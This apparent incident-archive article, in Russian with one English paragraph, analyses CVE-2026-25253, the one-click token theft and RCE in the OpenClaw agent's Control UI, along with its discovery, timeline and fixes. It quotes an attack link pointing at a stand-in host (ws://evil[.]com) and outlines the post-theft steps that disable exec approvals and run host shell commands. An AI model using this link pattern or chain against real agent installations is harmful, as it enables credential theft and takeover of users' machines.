Перехват WebSocket в интерфейсе управления OpenClaw: одна ссылка до RCE

29 января 2026 года компания по кибербезопасности Ethiack опубликовала свой отчёт об уязвимости в OpenClaw — открытом персональном ИИ-агенте, который работает на машине самого пользователя и управляется через браузерную панель под названием Control UI. Специально сформированная ссылка могла заставить эту панель передать злоумышленнику токен аутентификации шлюза, а вместе с ним — возможность выполнять shell-команды от имени вошедшего в систему пользователя. 1 февраля 2026 года последовала CVE-2026-25253, а на следующий день — собственное уведомление проекта; обе оценки уязвимости — 8.8, высокий уровень. В область действия входило каждое развёртывание, где кто-либо входил в Control UI, включая экземпляры, доступные только через loopback. Ни один источник, прочитанный для этой статьи, не фиксирует использование уязвимости против реального пользователя. Архив относит этот эпизод к инцидентам инфраструктуры высокой серьёзности с оценкой уверенности B и датой с точностью до дня — 29 января 2026 года, — наряду с другими его записями о безопасности агентов в Orca AI Incident Archive.

Что Control UI сделал с URL

OpenClaw — это самостоятельно размещаемый агент, к которому пользователи получают доступ через приложения для обмена сообщениями и веб-панель и который работает с тем, что в материале Ethiack называется «полным доступом к системе». Проект уже не раз переименовывали: до OpenClaw он носил названия Clawdbot и Moltbot, а реестр npm указывает, что пакет openclaw был создан 29 января 2026 года в 11:08 UTC. Главное здесь — панель управления: она хранила токен шлюза в хранилище браузера, и именно в ней находилась уязвимость.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Два факта о браузерах превращают эту утечку в захват. Браузеры не применяют политику одного источника к WebSocket-соединениям так, как к обычным HTTP-запросам, а шлюз не проверял заголовок Origin при обновлении соединения, поэтому JavaScript на странице, которую посетила жертва, мог открыть сокет напрямую к ws://localhost:18789 (depthfirst, 1 февраля 2026 г.). Поскольку исходящее соединение устанавливает собственный браузер жертвы, атака достигала шлюзов, привязанных к loopback и невидимых из сети. «Эта уязвимость эксплуатируема даже на экземплярах, настроенных на прослушивание только loopback, поскольку исходящее соединение инициирует браузер жертвы», — говорится в рекомендации проекта. Ethiack тогда зафиксировала ещё одно условие: стабильная сборка Chrome, которую они тестировали, не включала разрешение Local Network Access по умолчанию, поэтому браузер также не показывал запрос.

А вот что даёт украденный токен — это уже остальная часть истории. Он имел области действия operator.admin и operator.approvals. С ними злоумышленник мог отключить подтверждения выполнения, установив exec.approvals.set в "off", вынести хост выполнения за пределы контейнера, установив tools.exec.host в "gateway", а затем выполнить shell-команды на хосте через запрос node.invoke / system.run (depthfirst, 1 февраля 2026 г.; The Hacker News, 2 февраля 2026 г.). В рекомендации производителя результат описывается одной фразой: злоумышленник может «изменять конфигурацию (песочницу, политики инструментов) и вызывать привилегированные действия, достигая RCE в один клик».

Найдено менее чем за два часа, машиной

Само обнаружение было упражнением с ИИ. 26 января 2026 года в 13:21 UTC Ethiack запустила своего автономного агента для тестирования на проникновение Hackian на работающем экземпляре OpenClaw. Уязвимость была подтверждена в 15:05 UTC, примерно через час сорок минут, — именно эта цифра стоит в заголовке публикации Ethiack. Компания сообщила о ней сопровождающим OpenClaw в 18:02 UTC. Затем 27 января последовал пул-реквест, а исправление попало в основную ветку вечером 28 января — согласно опубликованной Ethiack хронологии и истории коммитов проекта.

Вторая команда независимо пришла к тому же выводу. Мав Левин, один из первых исследователей безопасности в depthfirst, опубликовал 1 февраля 2026 года собственный разбор, написав, что «команда OpenClaw быстро рассмотрела и исправила проблему, о которой я сообщил», и что кто-то другой независимо сообщил о той же ошибке. В рекомендации GitHub DepthFirstDisclosures указан как сообщивший об уязвимости, а также перечислены как 0xacb, так и mavlevin в числе обнаруживших. В профиле аккаунта 0xacb указано имя Андре Баптиста, одного из трёх соавторов разбора Ethiack, что согласуется с хронологией: пул-реквест Ethiack с исправлением был открыт с этого аккаунта 27 января, и коммит мейнтейнеров благодарит его по имени. Ни один источник, прочитанный для этой статьи, не утверждает, что две группы знали друг о друге до публикации, и никто не оспаривает авторство.

Дата записи и даты вокруг неё

Архив датирует эту запись 29 января 2026 года с точностью до дня, и это совпадает с днём, когда исследование Ethiack стало публичным. Исправление кода уже было внесено накануне. Помеченный выпуск, содержащий его, последовал в первые часы 30 января по UTC, что соответствует вечеру 29 января по тихоокеанскому времени США: npm фиксирует версию 2026.1.29 в 04:49 UTC 30 января, а релиз на GitHub — в 05:26 UTC. Запись CVE от MITRE датирована 1 февраля 2026 года в 22:34 UTC, рекомендация GitHub — 2 февраля в 23:41 UTC, а The Hacker News сообщил об уязвимости 2 февраля.

Источник, на который ссылается запись, — трекер инцидентов агентов Permission Protocol — ведёт собственную хронологию, и некоторые её части запаздывают. Выпуск патча он относит к 2026-01-29, что согласуется с номером версии, но датирует «ранние сообщения» об уязвимости 2026-02-12, а широкое публичное раскрытие CVE-2026-25253 — 2026-02-26, при этом независимые обзоры — 2026-03-24. Первичные документы говорят иное. Дата 26 февраля соответствует анализу патча SonicWall, опубликованному через три с половиной недели после появления идентификатора, а 12 февраля попадает между двумя исследовательскими публикациями и анализом вендора, а не до них. Последняя строка хронологии трекера также называет механизм «zero-click»; в бюллетене вендора он называется 1-click, и во всех опубликованных описаниях жертве требуется открыть ссылку. Там, где эти даты и обозначения расходятся, статья следует записи CVE, бюллетеню вендора и двум исследовательским публикациям.

Об одной оговорке касательно этого источника стоит сказать открыто. Permission Protocol продаёт шлюз авторизации, и его запись подаёт инцидент через призму того, что заблокировал бы его собственный продукт. Страница называет эту оценку условной и говорит о себе, что «источник не устанавливает результата предотвращения продуктом». Что запись действительно точно передаёт — это её подача: исследование было опубликовано за три дня до появления CVE, поэтому архив называет это ранним обнаружением до CVE-2026-25253.

Что на самом деле пострадало

Насколько известно по каким-либо источникам — ничего. В архиве запись помечена как real_harm false, и это согласуется со всем, что было опубликовано вокруг неё. Центр кибербезопасности Бельгии выпустил 2 февраля 2026 года рекомендацию, в которой говорится: «На данный момент нет доказательств того, что эта уязвимость эксплуатировалась в реальных условиях». Ни Ethiack, ни depthfirst, ни SonicWall, ни The Hacker News не сообщают о пострадавшем, скомпрометированной установке или похищенных данных, и ни один из них не приводит число установок, подвергшихся риску. Ethiack лишь отмечает, что было «множество экземпляров, работающих на публичных серверах» со слабой конфигурацией, что является впечатлением, а не подсчётом.

Что действительно существует — это рабочий код эксплойта. Ethiack опубликовала полный исходный код эксплойта вместе с отчётом и продемонстрировала цепочку на собственном экземпляре. Февральский анализ SonicWall показывает захват токена «с использованием публично доступного эксплойта». Сторонний репозиторий proof-of-concept появился на GitHub 9 марта 2026 года. Публичный код эксплойта — не то же самое, что эксплуатация, а флаг вредоносности в архиве относится к последней.

Один источник менее строг, чем остальные, и это стоит отметить. В разделе о рисках бельгийского рекомендательного документа говорится, что сам бот отображает контролируемый злоумышленником контент как триггер, но это не тот механизм, который описан в рекомендации производителя или в обоих исследовательских отчётах: во всех трёх случаях браузер жертвы заманивают по ссылке, и целью является агент, а не средство доставки. Цитировать стоит его формулировку об эксплуатации, а не краткое описание механизма.

Что изменилось и что осталось нерешённым после первого исправления

Исправление в 2026.1.29 добавило диалоговое окно подтверждения перед тем, как Control UI переключится на другой URL шлюза. В рекомендации проекта это изменение описывается так: «После этого изменения пользователям теперь нужно подтверждать новый URL шлюза в интерфейсе», а файл, который отрисовывает это диалоговое окно, присутствует в теге v2026.1.29. Это повышает стоимость атаки с одного клика до одного клика плюс осознанного подтверждения. Но это не устраняет лежащее в основе доверие к параметру URL.

Проверка Origin — вторая половина цепочки — появилась позже. В анализе патчей SonicWall отмечается, что «в более поздних обновлениях были реализованы строгие механизмы проверки Origin», и перечисляются четыре проверки: отклонять отсутствующий или недействительный заголовок Origin; разрешать хост Origin, совпадающий с заголовком Host; разрешать loopback к loopback; разрешать источники, указанные в настроенном списке allowedOrigins; и отклонять всё остальное. Последовательность видна в исходном коде проекта на теге v2026.1.29, где обработчик обновления WebSocket читает и логирует заголовок Origin, не применяя к нему политику.

Другие ответы касались обнаружения, а не кода. SonicWall выпустила сигнатуру IPS 21908 для того, что она называет раскрытием конфиденциальных данных OpenClaw. depthfirst рекомендовала выполнить обновление и сменить токен шлюза при подозрении на раскрытие, что напрямую следует из механизма: украденный токен остаётся действительным, пока кто-нибудь его не изменит.

Что установлено, а что — нет

Установлено по первичным документам: уязвимый путь кода читал gatewayUrl из строки запроса и автоматически подключался без проверки; кадр connect нёс сохранённый токен; шлюз не проверял origin WebSocket, поэтому браузер с любого сайта мог достучаться до loopback; токен имел области действия admin и approval; были затронуты версии до 2026.1.29; и две команды независимо обнаружили эту уязвимость, одна из них — автономный агент, работавший извне.

Не установлено: эксплуатировал ли это кто-либо, сколько установок было доступно на тот момент и достаточно ли было бы одного диалога подтверждения, чтобы остановить целеустремлённого злоумышленника. Оценка B в архиве отражает базу цитирования из одного вторичного трекера, а не какие-либо сомнения в механике, и запись не помечена как спорная. Эта механика подтверждается рекомендацией производителя, записью CVE от MITRE и двумя независимыми исследовательскими отчётами — это больше, чем запись утверждает сама по себе.

Однострочное резюме архива называет это ранним обнаружением до CVE-2026-25253, и именно так и следует читать эту запись: это свидетельство об уязвимости, найденной, о которой сообщили и которую исправили ещё до присвоения идентификатора, в продукте, предназначенном для выполнения команд на машине, где он установлен. Последовавшая CVE описывает те же три особенности поведения — параметр запроса, соединение, инициированное без запроса, и токен в рукопожатии, — и ни один источник, изученный для этой статьи, не помещает кого-либо на другом конце.